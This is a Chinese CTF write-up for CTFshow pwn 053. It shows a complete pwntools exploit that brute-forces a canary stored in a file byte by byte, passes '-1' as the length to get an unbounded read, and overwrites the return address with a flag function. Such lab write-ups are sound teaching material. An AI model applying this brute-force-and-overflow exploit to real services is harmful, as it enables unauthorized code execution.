【CTFshow-pwn系列】03_栈溢出【pwn 053】详解:逐字节爆破!手写 Canary 的终极破解

本文仅用于技术研究,禁止用于非法用途。

Author:枷锁

在前面的关卡中,我们刚熟悉了 32 位的底层栈传参原理。来到 PWN 053 ,出题人给出的提示是:"再多一眼看一眼就会爆炸"。

这句提示非常经典,在二进制安全领域,"看一眼就爆炸"通常指的是一种极其敏感的栈保护机制------Canary(栈哨兵)。一旦你溢出时不小心覆盖并改变了它,程序就会像引爆了炸弹一样当场自杀。

但有意思的事情发生了,当我们信誓旦旦地去检查保护机制时......

第一部分:题目信息与环境侦察(虚假的平静)

1. 检查保护机制 (checksec)

复制代码
~/Desktop .............................................................. at 22:34:38
> checksec pwn  
[*] '/home/shining/Desktop/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found   <-- ???
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

等等,checksec 明明显示 No canary found (没有栈哨兵)!难道提示在诈骗? 别急,系统自带的 GCC 保护确实没开,但如果你遇到过这种老奸巨猾的出题人就会知道:如果系统不给,他就自己手写一个!

第二部分:破局思路与静态分析(硬核剖析)

将程序拖入 IDA Pro,我们直接顺藤摸瓜,从 main 函数往下看。

1. 发现猫腻:手搓的 Canary

程序在 main 函数中调用了一个名为 canary() 的函数,跟进一看:

复制代码
int canary()
{
  FILE *stream; // [esp+Ch] [ebp-Ch]
  stream = fopen("/canary.txt", "r");
  if ( !stream )
  {
    puts("/canary.txt: No such file or directory.");
    exit(0);
  }
  fread(&global_canary, 1u, 4u, stream); // 从文件读取 4 字节到全局变量中
  return fclose(stream);
}

原理解析: 破案了!出题人并没有开启编译器的 Canary 保护,而是自己在根目录下放了一个 /canary.txt 文件,程序启动时会从中读取 4 个字节,存放到全局变量 global_canary 中。

2. 深入核心漏洞:ctfshow() 函数

这是我们栈溢出的主战场,仔细观察变量在栈上的位置:

复制代码
int ctfshow()
{
  size_t nbytes; // [esp+4h] [ebp-54h] BYREF
  _BYTE v2[32];  // [esp+8h] [ebp-50h] BYREF
  _BYTE buf[32]; // [esp+28h] [ebp-30h] BYREF  <-- 我们的输入缓冲区
  int s1;        // [esp+48h] [ebp-10h] BYREF  <-- 手工 Canary 在栈上的复印件!
  int v5;        // [esp+4Ch] [ebp-Ch]

  v5 = 0;
  s1 = global_canary; // 【关键】将全局 Canary 塞进栈里当哨兵
  
  printf("How many bytes do you want to write to the buffer?\n>");
  // ... 读取你想输入的长度,并存入 nbytes ...
  __isoc99_sscanf(v2, "%d", &nbytes);
  
  printf("$ ");
  read(0, buf, nbytes); // 【漏洞点】读取我们指定的长度!绝对的栈溢出!

  // 【致命校验】检查栈上的 s1 是否被修改
  if ( memcmp(&s1, &global_canary, 4u) ) 
  {
    puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
    exit(-1); // 如果被我们覆盖了,程序当场自杀
  }
  
  puts("Where is the flag?");
  return fflush(stdout);
}

还有一个flag函数

逻辑与漏洞剖析:

  1. 程序问我们要写多少字节,如果你回答 100,它就会用 read 读入 100 字节到大小只有 32 的 buf 中,溢出条件成立
  2. 但是!在 buf 和底部的 ebp 之间,卡着一个"守门员" s1(手写的 Canary)。
  3. 如果我们像以前那样直接用 'a' * 112 一路莽平堆栈,必然会顺手把 s1 也踩成了 'aaaa'
  4. 函数结尾的 memcmp 发现 s1 变了,就会大喊一声 "Stack Smashing Detected" 然后自爆。

转机在哪里?(为什么可以爆破) 传统的系统 Canary 是基于 /dev/urandom 生成的,每次运行程序都不一样。但本题的 Canary 是从一个固定的文本文件 /canary.txt 里读出来的!这意味着只要服务器不重启/不换文件,这个 Canary 的值永远是固定的!

我们可以利用这一点,进行逐字节爆破

3. 栈结构与弹道计算

画出直观的栈布局图(Stack Layout)

复制代码
高地址
+-------------------------+
|     Return Address      |  <-- 最终目标:填入后门 flag 函数地址
+-------------------------+
|     Saved EBP (4 bytes) |  <-- ebp 指向这里 (用 4 字节 0 覆盖)
+-------------------------+
|     v5 等变量 (12 bytes)|  <-- ebp-0x0C 到 ebp-0x04 (用 12 字节 0 覆盖)
+-------------------------+
|     s1 (手工 Canary)    |  <-- ebp-0x10,4 bytes (必须填入爆破出的正确值)
+-------------------------+
|     buf (32 bytes)      |  <-- ebp-0x30,32 bytes (用 'a' * 32 填满)
+-------------------------+
低地址

弹道计算

  • 填满 buf 需要 0x30 - 0x10 = 0x20(32 字节)。
  • 接下来紧挨着的 4 个字节,就是我们必须小心翼翼填写的 Canary
  • Canary 之后,距离 Return Address 还有 16 字节(v5 的 12 字节 + 保存的 EBP 4 字节),我们直接用 p32(0) * 4 垫平。

第三部分:实战 EXP 编写与详解 (Pwntools 魔法)

这里我们将使用 Python3 和 Pwntools 编写一个优雅的爆破脚本。

爆破逻辑: 我们每次只向未知的 Canary 位置溢出1个字节 (尝试 0x000xFF)。 如果猜错了,程序报错 Canary Value Incorrect 并断开连接。 如果猜对了,程序不报错,而是输出 Where is the flag?。 猜对一个字节,就把他加进已知列表,再去猜下一个字节,直到 4 个字节全部拼齐!

复制代码
from pwn import *

# 基础配置:由于我们需要大量爆破,将日志等级调到 critical,避免满屏垃圾日志
context(arch='i386', os='linux', log_level='critical')

# ==========================================
# 阶段 1:逐字节爆破手写 Canary
# ==========================================
canary = b''

print("[*] 开始爆破 Canary 守门员...")

for i in range(4): # 一共 4 个字节
    for c in range(256): # 遍历 0x00 到 0xFF
        io = process('./pwn') # 本地测试
        # io = remote('pwn.challenge.ctf.show', 28173) # 每次爆破都需要重新连接
        
        # 问你要写入多少字节时,输入 -1
        # -1 在 size_t (无符号整数) 中会被解析为 4294967295,也就是我们可以无限制溢出!
        io.sendlineafter(b'>', b'-1')
        
        # 构造试探性 Payload:
        # 32字节垃圾数据(填满buf) + 已经爆破出的正确字节 + 当前猜测的 1 个字节
        payload = b'a' * 0x20 + canary + p8(c)
        io.sendafter(b'$ ', payload)
        
        # 接收响应,判断是否报错
        try:
            # 过滤掉开头的一个字符,接收后续的回显
            io.recv(1) 
            ans = io.recvall(timeout=0.2)
        except EOFError:
            ans = b''
            
        # 如果回显中没有 "Canary Value Incorrect!",说明没触发报警,猜对了!
        if b'Canary Value Incorrect!' not in ans:
            print(f"[+] 第 {i+1} 个字节爆破成功: {hex(c)}")
            canary += p8(c)
            io.close()
            break # 这个字节搞定了,跳出内层循环,去爆破下一个字节
            
        io.close() # 猜错了,断开连接继续下一个数字

# 爆破完成,炫耀一下我们的成果
print(f"[*] 终极 Canary 值获取完毕: {canary}")

# ==========================================
# 阶段 2:携旨拿 Shell (真正的 ROP / Ret2Text)
# ==========================================
# 重新将日志调回 debug,享受最后拿到 flag 的快感
context.log_level = 'debug'

elf = ELF('./pwn')
flag_addr = elf.sym['flag']

# 最后一次连接,实施终极打击
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show', 28173)

# 再次利用 -1 骗过长度检查
io.sendlineafter(b'>', b'-1')

# 构造致命 Payload:
# 32字节垃圾数据 + 正确的 Canary(完美绕过检测) + 16字节(4个p32(0))垫平EBP + 后门函数地址
payload = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag_addr)

io.sendafter(b'$ ', payload)

# 拿 Shell / 读 Flag
io.interactive()

第四部分:小白踩坑实录 (深入骨髓的教训)

1. 那个神奇的 "-1"(整数溢出)

可能有敏锐的新手在看脚本时会产生疑惑:"代码明明问我读入多少字节,你为什么要输入 -1 ?"

原理解析: 回头看一眼漏洞函数的源码: size_t nbytes; __isoc99_sscanf(v2, "%d", &nbytes);

注意 nbytes 的类型是 size_t ,在 32 位机器上,这本质上是一个无符号整数(unsigned int) 。 而我们在输入时,如果你老老实实输入一个很大的正数(比如 1000),有时候反而会受制于前面读取缓冲区 v2 长度的限制。 但当我们输入字符串 "-1" 时,sscanf 将其解析为整数 -1。在计算机底层,-1 的二进制补码是 0xFFFFFFFF。当这串补码被当作无符号数 size_t 对待时,它瞬间就变成了 4294967295

通过一个轻巧的 -1,我们直接给程序定下了一个近乎无限大的读取范围,实现了一次极其优雅的"整数溢出(Integer Overflow)到缓冲区溢出(Buffer Overflow)"的联动打击。

2. 本地调试瞬间报 EOFError 的惨案(环境陷阱)

很多新手在迫不及待地运行 python3 exp.py 进行本地测试时,脚本瞬间红字报错,进程死得不明不白:

复制代码
Traceback (most recent call last):
  ...
  File "/home/shining/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 743, in recv_raw
    raise EOFError
EOFError

"脚本明明是按照网上的 Writeup 抄的,为什么运行直接管道断裂?"

原理解析: 这就是最纯正的"本地环境陷阱"!回头看一眼程序最开始执行的 canary() 函数: 它尝试通过 fopen("/canary.txt", "r") 读取机器根目录下的文件。由于你的本机根本没有这个文件,程序立刻输出 No such file or directory. 并调用 exit(0) 强行自杀了! 而你的 Python 脚本(pwntools)还在傻傻地等待 > 符号出现,结果发现对面进程已经死亡,于是抛出了 EOFError

终极解决办法: 在本地手动伪造出这两个必要的文件即可(打开终端运行):

复制代码
# 1. 伪造 Canary 文件
sudo touch /canary.txt
sudo chmod 777 /canary.txt
echo "abcd" > /canary.txt

# 2. 顺手把后门函数要读取的 flag 文件也建好
sudo touch /ctfshow_flag
sudo chmod 777 /ctfshow_flag
echo "flag{local_test_success}" > /ctfshow_flag

创建好这两个文件后,再次运行 python3 exp.py,你就能看到脚本疯狂而优雅的爆破过程了!

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

相关推荐
k7Cx7e1 小时前
宝塔域名强制SSL和带www的方法
网络·网络协议·ssl
浅念-2 小时前
C++ 继承
开发语言·c++·经验分享·笔记·学习·算法·继承
czxyvX2 小时前
017-Linux-网络基础概念
linux·网络
峰顶听歌的鲸鱼2 小时前
Zabbix监控系统
linux·运维·笔记·安全·云计算·zabbix·学习方法
安当加密3 小时前
用 SMS 凭据管理系统替代 HashiCorp Vault:中小企业的轻量级 Secrets 管理实践
服务器·数据库·安全·阿里云
撩妹小狗3 小时前
文件上传漏洞(下)
安全·web安全·网络攻击模型
白云偷星子3 小时前
RHCSA笔记5
linux·运维·笔记
志栋智能4 小时前
自动化运维还有这样一种模式。
运维·人工智能·安全·机器人·自动化
Kaede65 小时前
IDC和ISP分别是什么意思,有什么区别?
网络·接口隔离原则